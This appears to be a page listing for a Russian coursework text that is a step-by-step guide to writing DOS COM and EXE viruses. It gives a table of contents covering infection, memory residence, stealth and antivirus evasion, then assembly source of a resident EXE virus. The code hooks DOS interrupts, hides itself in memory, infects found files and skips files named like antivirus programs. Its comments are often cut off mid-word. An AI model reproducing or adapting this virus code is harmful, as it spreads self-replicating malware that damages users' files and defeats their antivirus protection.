Автор: Пользователь скрыл имя, 27 Февраля 2013 в 09:59, курсовая работа
Компьютерные вирусы со времени своего появления
распространились чрезвычайно широко . Сейчас уже
трудно найти человека,который бы ни разу не слышал
об этих " существах " .И вместе с тем подавляющее
большинство пользователей почти ничего не знают о
том, что это такое, и склонны приписывать виру-
ЧАСТЬ 1 . COM - ВИРУСЫ ....................... 6
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 6
1.1 Загрузка и выполнение
COM - программы ..................... 6
1.2 Как вирус может заразить
COM - файл .......................... 7
1.3 Работа вируса в
зараженной программе ................ 8
1.4 Как начинается
распространение вируса .............. 9
1.5 Начало работы ....................... 10
1.6 Вирус получает управление ........... 10
1.7 Восстанавливаем зараженную
программу ........................... 12
1.8 Запоминаем содержимое DTA ........... 12
1.9 Ищем подходящий файл ................ 13
1.10 Читаем исходные три байта ........... 15
1.11 Выполняем необходимые расчеты ....... 16
1.12 Проверяем файл на зараженность ...... 18
1.13 Заражаем COM - программу ............ 19
1.14 Восстанавливаем DTA ................. 20
1.15 Передаем управление
зараженной программе ................ 20
1.16 Область данных вирусной программы ... 21
1.17 Завершаем запускающую программу ..... 21
1.18 Текст нерезидентного COM - вируса ... 23
1.19 Комментарии ......................... 29
1.20 Испытание вируса .................... 29
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОЙ
ВИРУСНОЙ ПРОГРАММЫ .............. 30
2.1 Понятие резидентного
( TSR ) вируса ...................... 30
2.2 Несколько слов о
резидентных программах .............. 30
2.3 Алгоритм работы
резидентного COM - вируса ........... 31
2.4 Заголовок вируса .................... 34
2.5 Вирус начинает работу ............... 34
2.6 Сохраняем регистры процессора ....... 38
2.7 Создаем секцию
инициализации ....................... 39
2.8 Запрашиваем блок памяти ............. 41
2.9 Делаем вирус " незаметным " ......... 44
2.10 Получаем вектора прерываний ......... 46
2.11 Копируем вирусный код в память ...... 48
2.12 Устанавливаем вектора прерываний
на вирусные обработчики ............. 48
2.13 Пишем резидентную часть ............. 50
2.14 Заражаем COM - файл ................. 51
2.15 Восстанавливаем регистры ............ 56
2.16 Пишем обработчики прерываний ........ 57
2.17 Обработчик Int 13h .................. 58
2.18 Обработчик Int 21h .................. 60
2.19 Обработчик Int 24h .................. 62
2.20 Обработчик Int 2Fh .................. 62
2.21 Обработчик Int 28h .................. 64
2.22 Область данных вируса ............... 64
2.23 Процедура идентификации COMMAND.COM.. 65
2.24 Завершаем программу ................. 66
2.25 Текст резидентного COM - вируса ..... 67
2.26 Комментарии ......................... 81
2.27 Испытание вируса .................... 82
ЧАСТЬ 2 . EXE - ВИРУСЫ ....................... 82
ГЛАВА 1 . РАЗРАБОТКА НЕРЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 82
1.1 Формат EXE - файла на диске ......... 82
1.2 Загрузка и выполнение
EXE - программы ..................... 84
1.3 Как вирус может заразить
EXE - файл .......................... 86
1.4 Работа вируса в
зараженной программе ................ 86
1.5 Начало работы ....................... 88
1.6 Вирус получает управление ........... 88
1.7 Ищем подходящий файл ................ 89
1.8 Читаем заголовок файла .............. 92
1.9 Производим необходимые
вычисления .......................... 93
1.10 Заражаем EXE - программу ............ 98
1.11 Восстанавливаем DTA ................. 99
1.12 Восстанавливаем точку входа ......... 100
1.13 Область данных вируса ............... 101
1.14 Используемые процедуры .............. 103
1.15 Работа завершена .................... 104
1.16 Полный текст
нерезидентного EXE - вируса ......... 104
1.17 Несколько слов об
испытании вируса .................... 112
ГЛАВА 2 . РАЗРАБОТКА РЕЗИДЕНТНОГО
EXE - ВИРУСА .................... 113
2.1 Алгоритм работы резидентного
EXE - вируса ........................ 113
2.2 Защита от
программ - антивирусов .............. 115
2.3 Как реализовать защиту от
эвристического анализа .............. 116
2.4 Реализуем предложенный алгоритм ..... 119
2.5 Пишем промежуточный обработчик ...... 121
2.6 Защита от обнаружения вируса в файле. 122
2.7 Несколько слов о вредных
действиях вирусной программы......... 122
2.8 Полный текст резидентного
cmp bx,1997h ;Это проверка
jne cs:not_our ;повторной за-
mov ah,0ffh ;грузки вируса в
popf ;память ?
iret ;
not_our:cmp cs:tg_infect - 100h,1 ;Активизировать-
je cs:vir_2 ;Да ...
popf
jmp dword ptr cs:old_28h - 100h ;Нет - вызовем
;чтобы не
vir_2: db 9ah
old_28h dw 0
old_28h_2 dw 0
pushf ;Сохраним в сте-
push ax
push bx
push cx
push dx
push si
push di
push bp
push ds
push es
jmp cs:infect ;Перейти к зара-
push_len equ $-vir - 2
mov ax,cs ;Исправим DS для
db 2dh ;в зараженном
sub_ds dw 0
mov ds,ax
mov ax,ds
mov es_save,es ;Сохраним значе-
;ние ES ,бывшее
push es
mov ax,old_ip ;Восстановим ис-
mov my_ip,ax ;метры заголовка
mov ax,old_cs ;файла ...
mov my_cs,ax
mov ax,to_16h
mov my_16h,ax
mov ax,old_ss
mov my_ss,ax
mov ax,old_sp
mov my_sp,ax
mov bx,1997h ;мяти ,или еще
int 28h ;нет ...
cmp ah,0ffh
jne inst ;Нет - устанав-
fresh_input:
pop es
mov ax,my_ip ;Восстановим
mov old_ip,ax ;и IP ,а также
mov ax,my_cs ;для правильной
;работы
mov old_cs,ax ;значения SS и
mov ax,my_16h
mov to_16h,ax
mov ax,my_sp
mov sp,ax
mov ax,cs ;Расчитаем точку
sub ax,to_16h ;EXE - программы
add my_ss,ax
mov ss,my_ss
add ax,old_cs
mov old_cs,ax
push ax
push old_ip ;Восстановим DS
mov ax,es
mov ds,ax
db 0cbh ;Машинный код
;та из дальней
old_ip dw 0 ;
old_cs dw 0 ;
inst: push es ;Найдем первый
xor di,di ;памяти ...
xor ax,ax
to_new_seg:inc ax
mov es,ax
cmp ax,0ffffh ;Этот сегмент -
jae free_mem
cmp byte ptr es:[di],4dh ;Это -
jne to_new_seg ;Нет !
to_test: mov bx,ax ;Да !
add bx,es:[di+3]
inc bx
mov es,bx
cmp byte ptr es:[di],4dh ;Следующий MCB
je restore_es ;Да !
cmp byte ptr es:[di],5ah
jne to_new_seg ;Нет !
restore_es:mov es,ax
cmp word ptr es:[di+1],0 ;MCB свободен ?
je to_new_seg ;Да !
mov bx,es
inc bx
cmp es:[di+1],bx
jne to_new_seg
cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
jne to_new_seg ;Нет - тогда он
mov first_psp,es ;Да - найдена
mov cx,es ;область памяти
dec es_save
cmp es_save,cx ;А может ,мы на-
;же PSP ?
jne add_05h ;Нет !
pop es
jmp fresh_input ;Да !
add_05h: add first_psp,05h
free_mem: pop es
mov ah,4ah ;Определим объем
mov bx,0ffffh ;Заведомо невоз-
int 21h ;значение
; ______________________________
;| Найдем свободный MCB - блок ,чтобы можно было |
;| записать в него резидентную часть вируса ... |
;|____________________________
sub bx,vir_par + 4 ;Оставим вирусу
;больше ,чем
mov ah,4ah ;А остальная
int 21h ;будет занята ...
jnc give_mem
to_fresh_input:
jmp fresh_input
give_mem: mov ah,48h ;Попросим DOS
mov bx,vir_par + 2 ;Запас в два
int 21h
jc to_fresh_input
; ______________________________
;|Теперь свободный блок памяти найден |
;|( сегментный адрес в AX ) ,и нужно |
;|записать в него код вируса ... |
;|____________________________
xor di,di ;
mov bx,ax ;
dec bx ;
mov word ptr es:[2],bx ;Корректируем
mov es,bx ;Делаем вирус
mov bx,0070h ;" невидимым "
mov es:[di+1],bx ;в памяти ...
mov es,di ;Получаем векто-
cli
mov di,084h ;Int 21h ...
mov bx,es:[di]
mov old_21h,bx
mov bx,es:[di+2]
mov old_21h_2,bx
mov di,0a0h ;Int 28h ...
mov bx,es:[di]
mov old_28h,bx
mov bx,es:[di+2]
mov old_28h_2,bx
sti
mov word ptr vir,9090h ;Подготавливаем
mov tg_infect,0 ;к резидентной
mov our_21h_cs,ax ;Эти значения
;потребуются
mov bx,old_21h ;промежуточному
mov sys_21h_ip,bx ;чику INT 21h...
mov bx,old_21h_2
mov sys_21h_cs,bx
push es ;Теперь мы
cli ;в найденный ра-
mov es,first_psp ;в памяти PSP...
xor di,di
lea si,to_bios
mov cx,code_len
new_code: mov bl,byte ptr [si]
mov byte ptr es:[di],bl
inc si
inc di
loop new_code
sti
pop es
mov es,ax ;Копируем в
xor di,di ;вирусный код...
mov cx,vir_len
prg_copy: mov bl,byte ptr vir[di]
mov byte ptr es:[di],bl
inc di
loop prg_copy
xor bx,bx ;Устанавливаем
;вирусные
mov es,bx ;обработчики ...
cli
mov di,084h ;Int 21h ...
mov word ptr es:[di],00h
mov bx,first_psp
mov word ptr es:[di + 2],bx
mov di,0a0h ;Int 28h ...
mov word ptr es:[di],0
mov es:[di+2],ax
sti
jmp fresh_input ;Установка виру-
;вершена ...
infect: push cs ;DS = CS ...
pop ds
mov ax,ds ;TSR - коррекция
sub ax,10h ;DS ...
mov ds,ax
mov tg_infect,0
mov ah,2fh ;Получим текущую
int 21h ;DTA ...
mov es_dta,es ;И сохраним ее
mov bx_dta,bx
mov ah,1ah ;А теперь
lea dx,new_dta ;собственную DTA
int 21h
find_first:mov maska[0],'*' ;Расшифровка ма-
cmp word ptr cs:[0],9090h ;ски только в
je cs:fifa ;резидентном
mov maska[0],'a' ;режиме
fifa: mov ah,4eh ;Найдем первый
mov cx,00100110b ;файл ...
lea dx,maska
int 21h
jnc cs:r_3
jmp cs:restore_dta
find_next: mov ah,3eh ;Закроем непод-
mov bx,descrypt ;ходящий файл
int 21h
jnc cs:r_2
jmp cs:restore_dta
r_2: mov ah,4fh ;Найдем следую-
int 21h ;щий ...
jnc cs:r_3
jmp cs:restore_dta
r_3: mov cx,12
lea si,fn ;Сотрем старое
kill_name: mov byte ptr [si],0 ;имя в буфере
inc si
loop cs:kill_name
xor si,si ;И запишем новое
copy_name: mov al,byte ptr new_dta[si + 01eh]
cmp al,0
je cs:check_name
mov byte ptr fn[si],al
inc si
jmp cs:copy_name
check_name:mov cx,4 ;Проверим имя на
lea si,name_1 ;принадлежность
call cs:search ;его антивирус-
cmp inside,1 ;ным программам
je cs:r_2
lea si,name_2 ;
call cs:search
cmp inside,1
je cs:r_2
lea si,name_3 ;
call cs:search
cmp inside,1
je cs:r_2
lea si,name_4 ;
call cs:search
cmp inside,1
je cs:r_2
lea si,name_5 ;
call cs:search
cmp inside,1
je cs:r_2
mov cx,3
lea si,name_6
call cs:search
cmp inside,1
je cs:to_r_2
open_file: mov ax,3d02h ;Откроем этот
lea dx,fn ;файл ...